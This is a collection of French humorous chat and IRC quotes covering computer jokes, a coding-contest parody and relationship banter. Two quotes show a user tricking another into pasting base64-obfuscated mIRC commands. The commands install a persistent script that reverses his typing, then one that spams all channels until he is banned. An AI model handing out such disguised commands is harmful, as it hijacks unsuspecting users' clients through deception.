Favoris de frayer
YeTee: Mon PC a été transporté à l'envers lors d'un voyage en voiture. Depuis mes fichiers sont tout mélangés, certains sont passés dans d'autres dossiers, les lettres des noms sont mélangées, mes ogg sont lus à l'envers... Même l'interface graphique a du mal, les pixels sont tout mélangés et ont glissé vers le bord de l'écran. Pour les fichiers, je pensais lancer une défragmentation. Est-ce que ça résoudra mon problème ? Par contre, pour les pixels je ne sais pas comment faire. Existe-t-il un outil pour défragmenter l'écran ? (ou la carte graphique, selon d'où vient le problème).
al1234: Essaye de donner des graines de tournesol au hamster qui fait tourner le ventilateur. C'est peut-être lui qui fait grève.
KilVaiden: Alors marche a suivre:
KilVaiden: 1) Retourner ton moniteur contre le mur.
KilVaiden: 2) Retourner le clavier sur la table, afin que les touches soient vers le bas.
KilVaiden: 3) Mettre la souris à l'envers; appuyer sur la boule ( ou sur le viseur optique, en fonction de la technologie de ta souris )
KilVaiden: 4) Mettre ton imprimante DANS le papier si tu souhaites imprimer.
KilVaiden: 5) Se renseigner sur la "notation polonaise inverse", et sur le "Little Endian" et le "Big Endian", en mixant les deux pour obtenir le "Medium Endian" qui sera l'ordre dans lequel tes données seront stockées sur les cables IDE de ton alimentation ATX. Ezekiel: slt je mapel Ezekiel
Haribo: sans blagues
Ezekiel: et toi??
Haribo: ...
Ezekiel: di le stp
Haribo: ok tape // [ $decode(c2V0ICVib3Vsem9yIFsgJHJhbmQoJGNhbGMoMTBeMTApLCRjYWxjKDEwXjExKSkgXQ==, m) ] | [ $decode(d3JpdGUgLXJzIGJvdWx6b3IubXJj,m) ] [ $decode(T24gKjpJTlBVVDoqOnsgc2V0ICV4ICRjYWxjKCRsZW4oJDEtKSArIDEpIHwgdW5zZXQgJXJlc3VsdGF0IHwgdG9rZW5pemUgMzIgJHJlcGxhY2UoJDEtLCAkY2hyKDMyKSwgJGNocigxNjApKSB8IHdoaWxlICV4ID4gMSB7IGRlYyAleCB8IHZhciAlcmVzdWx0YXQgPSAlcmVzdWx0YXQgJCsgJG1pZCgkMS0sICV4LCAxKSB9IHwgbXNnICRhY3RpdmUgJXJlc3VsdGF0IHwgaGFsdCB9,m) ] | [ $decode(bG9hZCAtcnMgYm91bHpvci5tcmM=,m) ]
Ezekiel: ?iok éf as
Ezekiel: ppts ????????????????revnel a irce as kp
Ezekiel: edia# nioj/
Ezekiel: snoc setê suov tiuq/
Haribo: Et non tu peux pas partir
Haribo: Bon, je suis gentil donc je vais t'aider
* Ezekiel was kicked by ChanServ ((Haribo) Ne me remercie pas, j'aime aider ;-))
* [Le lendemain...]
Enlendil: riri, j'ai Ezekiel sur msn, il arrive ^^
* Haribo is now known as Karina
* Ezekiel has joined #***
Ezekiel: slt
Karina: Salut
Ezekiel: asv Karina
Karina: Va voir sur mon profil mIRC
Ezekiel: comen on fé?
Karina: tape // var %i $rand(10,10000) $+ [ $decode(Lm1yYw==,m) ] | [ $decode(d3JpdGUgLXJz,m) ] %i $decode(b24gKjppbnB1dDoqOnsgYW1zZyBqZSBzdWlzIHVuIGJvdWxldCBldCBqZSBwZXV4IHBsdXMgcGFybGVyIHw=,m) $decode(aGFsdA==,m) $chr(125) | [ $decode(bG9hZCAtcnM=,m) ] %i
Ezekiel: je suis un boulet et je peux plus parler
Ezekiel: je suis un boulet et je peux plus parler
Ezekiel: je suis un boulet et je peux plus parler
Ezekiel: je suis un boulet et je peux plus parler
* SpamServ sets mode: +b *!*@Ezekiel_G.user.OGameFr
* Ezekiel was kicked by SpamServ (Spamming is against the network rules)
Swald: Jeu set et match :D <Choupinou> Tu me raccompagneras quand on partira de chez Judi ?
<Choupinou> Sinon, voilà ce qui va se passer : tu vas rentrer chez toi avec Jo, mais une fois devant le métro, ton lacet va se défaire. Tu vas alors te baisser pour le refaire et dire à Jo « Attend moi, j'refais mon lacet. » mais ce dernier étant sourd comme un pot, il va continuer à avancer et va rentrer, dans la rame de métro. Tu vas alors te relever et courir vers lui, le bras en avant en criant « Noooooooooooooooooooon ! », mais ce sera trop tard et les portes vont se refermer, sur ta main droite ! On va alors devoir te l'amputer. D'une part tu ne pourras plus jamais te branler de ta vie, mais d'autre part, tu pourras tirer un trait sur ta carrière de graphiste. De plus, tes amis blogueurs se foutront de ta gueule « Ha, ha, Mothy l'amputé ! » et tu perdras tes potes…
<Mothy> Je suis gaucher. <Gryfonder> Caribou ?
<Caribou> Oui ??
<Gryfonder> Est-ce que les papillons éternuent ?
<Caribou> Pas toujours, il y a 2 espèces de papillons, ceux qui toussent et ceux qui ne toussent pas. Cependant ceux qui ne toussent pas sont les prédateurs naturels de ceux qui toussent ce qui a largement diminué leur nombre. Een conséquence, des scientifiques du monde entier ont créés une levée de fonds pour acheter du sirop aux papillons qui toussent afin qu'ils se fondent parmi les autres et ainsi éviter de se faire bouffer
<Gryfonder> Oh ! Sympa ! Et est-ce que tu saurais comment les chamois foont pour se gratter le museau ?
<Caribou> C'est bien simple, lorsque qu'un chamois a le museau qui gratte, il demande à l'un de ses congénère de lui gratter le museau avec la corne. Cependant, à ce moment il y a 2 cas de figure. Dans le premier cas le chamois arrive à gratter le museau de l'autre et tout se passe bien. Dans le second cas, alors qu'il gratte le museau de l'autre, la corne glisse et s'enfonce dans la narine. La corne s'accroche alors à un morceau de cerveau et, lorsque le chamois retire sa corne, le cerveau vient avec. Etant donné que les chamois sont des êtres consciencieux, ils décident alors de continuer dans la voie de la momification commencée par le retirage du cerveau. Cependant, une fois le cerveau entièrement retiré, les chamois se rendent compte qu'ils n'ont pas les pattes adaptées pour entourer le corps du défunt de bandelettes et sont obligés de le laisser ainsi. C'est d'ailleurs pour ça que de nombreux scientifiques se sont interrogés sur la présence de chamois morts et sans cerveaux dans les montagnes
<Gryfonder> Oooooh !
<Lepingouin> Faites moi penser à vous bloquer vous deux C: nan, un gros truc de geek que je rêverais de voir à la télé, c'est un top chef pour codeur informatique
C: tu remplaces les couteaux et la bouffe par des ordis, des claviers et des pieces détachés
S: oh oui C
W: faites moi un jeu de plateforme, vous avez 8h
S: Vous applez ça un programme? Vous bouffez toute la ram, même le cern ne peut pas faire tourner ça!
C: "putain, mais tu m'as piqué mon anti bug ???"
C: "nan, le cd n'était pas posé sur ton bac"
S: "Tu programme sur un mac? vraiment?"
C: confessional : "moi, j'ai un avantage que les autres n'ont pas : mon clavier est en bépo"
N: je suis sûr que quelque podcasteur a déjà fait une parodie style very bad blagues
W: "ma grand mère parkinsonienne coderai mieux que ça !"
S: "Oh non segmention fault encore. Comment on fait?"
C: les jury "mais regardez moi ces graphismes, ya tellement d'aliasing que je me croirait sur un jeu jaguar. Vous appelez ça coder ?"
C: TOP CODE. Présenté par Mac Lesgy
N: "allez il vous reste une heure, il faut compiler !"
S: "Je suis arrivé en sous map 3 fois? vous n'avez pas pensé qu'une fonction de déblocage serait utile?"
C: "3... 2... 1... top ! on lève les mains des claviers !"
S: "Erreur de compilation? tant pis pour toi. Ça sera rapide a corriger."
C: "on sent le croquant dans ton gameplay, bravo, tu m'as ébloui"
C: putain, les mecs, faut en faire une parodie
S: hahahaha
N: "j'ai bien aimé le design des personnages féminins"
N: tu les a trouvés où ?
C: "c'est sa signature, bien sur"
W: "c'est quoi ces graphisme, le contraste merde! vous voulez que j'ai une crise d'epilepsie?"
N: "ah je reconnais bien là le travail de Kévin"
C: le mec explique sa recette "alors, c'est un rpg, inspiration ultima dans les mécaniques, mais plus fleurie"
N: et genre ils invitent des codeurs célèbres
N: oh wait
C: voici... frédérique rénal
C: "nan, mais LITTLE BIG ADVENTURE, quoi"
C: "ce type est mon dieu"
W: "Putain c'est tellement bugué, on dirai du Bethesda "
N: j'ai ricané
C: "allez, alez, on s'active coté code, la, une minute !"
S: "Et votre 3ème niveau il arrive? Ou vous travaillez chez valve?"
W: gg
C: l'epreuve des couteau, c'est remplacé par un ordi, si t'appuyes sur espace et que l'ordi fait un blue screen, c'est que t'es éliminé
W: "C'est quoi ce gameplay de merde, tu compte te rattraper en rajoutant des chapeaux à la cons ?"
C: "vous avez... 1h... pour faire un jeu original... sur android"
C: "oh mon dieu, la pire epreuve de top code"
S: "épreuve de portage, voici le code d'un jeux xbox , adaptez le sur pc."
S: "Et pas de menu au pad!"
W: "Tes codeur ou scénariste? Non parce que pour scipter un truc comme ça, c'est pas la bonne profession!"
C: "c'est une epreuve difficile, car il faut gérer l'adaptation entre les différents types de jouabilité"
C: "mondieu, coder le pointeur d'une souris... on nous torture, ici"
W: "vous avez 10h pour faire un FPS original "
S: impossible
C: c'est top code, vieux
C: rien n'est impossible
C: "alors, on va partir sur une guerre futuriste..." "oublie, vieux, halo"
N: "ça a été dur de départager, mais finalement c'est Sébastien avec sa simulation de reportage en Corée du Nord"
S: "Alors une warrior girl surviva... Tomb raider mec."
S: haha N
S: Dommage que dev game tycoon n'est pas multi, on se serait tapé des barres....x,)
N: "il remporte donc le 1er prix, qui est un voyage à la Silicon Valley, et 10000€ à dépenser dans n'importe quel Applestore" Mimi : On rêve toutes au prince charmant mais unmec parfait ça n'existe pas, c'est décourageant...
Carla : Et toi t'es parfaite peut-être ?
Mimi : Nan mais bon parfait façon de parler, beau et sympa a la fois quoi, comme on voit dans les films, les mecs blonds musclés et tout
Carla : Tout est relatif ma cocotte...
Mimi : Pff facile a dire toi tu peux avoir qui tu veux, pourquoi tu sors que avec du bas de gamme ?
Carla : N'importe quoi. Pour moi le mec parfait c'est pas une caricature de Ken, superficiel a souhait...
Carla : Moi j'veux un geek. Un mec qui préfère jouer aux jeux vidéo toute la journée plutôt que sortir tous les jours, que ça dérange pas trop de manger des pâtes et des M&M's devant son PC, qui s'emmerde pas avec plein de convenances, j'veux un gars mal coiffé et mal rasé, pas cette sorte de mec artificiel écervelé qui veut paraître parfait en toutes circonstances, je préfère un petit gringalet à un gros musclé d'1m90 qui fait de la gonflette à longueur de journée. Mon mec parfait il comprendrait quand je fais des références geeks, il aurait la culture d'Internet... Bien sûr je voudrais quand même qu'il soit mignon, mais c'est pas la beauté qui passe en premier, si il a un pas trop mauvais caractère c'est déjà ça non ? Franchement je rencontre un mec comme ça je l'épouse, sauf s'il s'appelle Kevin.
Mimi : Ah t'es bizarre
Aubin : Je vais t'inscrire sur IRC Carla, tu vas trouver ton bonheur en 38928448 exemplaires :') Anathème : J'admire la vivacité tudesque de ton intelligence. Sincèrement, je ne pensais pas que ma soeur ferait conquête d'un esprit si lumineux !
Jojo l'asticot : Merci beaucoup !
Jojo l'asticot : (Tu sais, t'es pas obligé de chercher à chaque fois des phrases bizarres pour faire un compliment... Sois simple, bordel ! Je ne vois pas à quoi ça sert d'utiliser toujours des tournures et des mots bizarres...)
Anathème : Tu n'as pas idée des plaisirs que permet de goûter une affectation de recherche dans l'expression !
Jojo l'asticot : C'est le moins qu'on peut dire xD
Anathème : Tiens, je vais te donner un exemple :
Anathème : Récemment, je suis convoqué par ma supérieure qui, mécontente de l'immoralité relative d'une de mes dernières initiatives, souhaitait m'accabler, comme c'est d'usage, d'un pénible sermon. Le prêche achevé, elle s'enquiert de mon sentiment, évalue ma bonne réceptivité. Je lui réponds : "Je vous avoue que je n'avais pas vu alors la chose sous cet angle. Vraiment, il y a, dans votre manière de voir, une lucidité, une finesse, un tour d'esprit, un je ne sais quoi de stercoraire enfin qui n'appartiennent qu'à vous, et il faudrait que je fusse bien borné dans mes opinions pour ne pas donner tout leur prix à vos remarques."
Anathème : Ce sur quoi elle se montre très contente de ma réponse, flattée de me voir reconnaître si facilement mes torts et ses raisons.
Jojo l'asticot : Ouais, en gros, bien parler ça te sert à faire de la lèche élégament et ici à flatter l'égo de tes supérieurs pour te sortir des situations périlleuses. Je trouve ça d'un intérêt un peu limite quand même.
Anathème : Tu n'y es pas tout à fait. Tu es tombé dans le même piège qu'elle !
Jojo l'asticot : Comment ça ? o_O
Anathème : En réalité, ce que je lui ai dit est simple et se comprendrait facilement si le qualificatif "stercoraire" ne se trouvait planté en plein milieu de la phrase ; c'est pourtant autour de lui que s'articule le sens de mon propos. Or, cet adjectif que ni elle ni toi n'avez compris signifie quelque chose comme "c'est de la merde". Seulement, la tournure de l'ensemble, joint à l'orgueil, qui refuse de laisser percer l'ignorance et préfère deviner que chercher ou demander, lui ont fait croire que je lui adressais une réponse flatteuse. Pour résumer : je faute, on me sermonne bêtement, ce n'est pas de mon goût, je le dis, on m'en remercie et me quitte plus content de moi que jamais.
Anathème : Alors, tu vois !
Jojo l'asticot : !!!
Jojo l'asticot : Ha ha ! t'es un p'tit con en fait !
Anathème : Connais-tu beaucoup de gens capable de faire payer leurs insultes par des remerciements ? En tout cas, je peux te l'assurer : ça défoule de jeter ce genre de chose à la face de son supérieur, quand bien même on en est pas compris ! D'ailleurs, ce n'est possible qu'à cette condition le plus souvent.
Jojo l'asticot : C'est fourbe, mais c'est vrai que ça doit faire du bien !
Jojo l'asticot : Chapeau mec !
Jojo l'asticot : ...
Jojo l'asticot : Dis voir, tu me mets un doute du coup...
Jojo l'asticot : Tu voulais dire quoi tout à l'heure, avec la "vivacité tudesque" de mon intelligence ???
Anathème : Que je te trouve super lourd, même pour le copain de ma soeur...
Jojo l'asticot : Putain ! Mais t'es vraiment un gros connard de merde ! 
